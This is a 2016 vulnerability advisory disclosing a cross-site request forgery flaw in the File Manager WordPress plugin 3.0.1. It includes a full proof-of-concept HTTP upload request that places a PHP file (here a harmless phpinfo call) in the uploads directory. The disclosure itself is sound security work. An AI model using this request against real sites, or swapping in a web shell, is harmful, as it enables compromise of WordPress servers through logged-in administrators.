WordPress File Manager 3.0.1 Cross Site Request Forgery

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Cross-Site Request Forgery in File Manager WordPress plugin  
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David Vaartjes, July 2016  
  
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Abstract  
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A Cross-Site Request Forgery (CSRF) vulnerability was found in the File  
Manager WordPress Plugin. Among others, this issue can be used to upload  
arbitrary PHP files to the server.  
  
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OVE ID  
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OVE-20160712-0029  
  
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Tested versions  
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This issue was succesfully tested on the File Manager WordPress Plugin  
version 3.0.1.  
  
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Fix  
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There is currently no fix available.  
  
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Details  
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html  
  
The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.  
  
Please note that the target user needs to be logged in.  
  
Proof of concept  
  
The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.  
  
When uploaded, this file can be requested from the outside as follows:  
http://<wp-server>/wp-content/uploads/file-manager/info.php  
  
Request:  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: <wp-server>  
Cookie: ALL_YOUR_WP_COOKIES  
Connection: close  
Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907  
  
-----------------------------6427194103423794601262893907  
Content-Disposition: form-data; name="cmd"  
  
upload  
-----------------------------6427194103423794601262893907  
Content-Disposition: form-data; name="target"  
  
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg  
-----------------------------6427194103423794601262893907  
Content-Disposition: form-data; name="suffix"  
  
~  
-----------------------------6427194103423794601262893907  
Content-Disposition: form-data; name="action"  
  
connector  
-----------------------------6427194103423794601262893907  
Content-Disposition: form-data; name="upload[]"; filename="info.php"  
Content-Type: text/php  
  
<?php  
phpinfo();  
?>  
-----------------------------6427194103423794601262893907--  
  
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`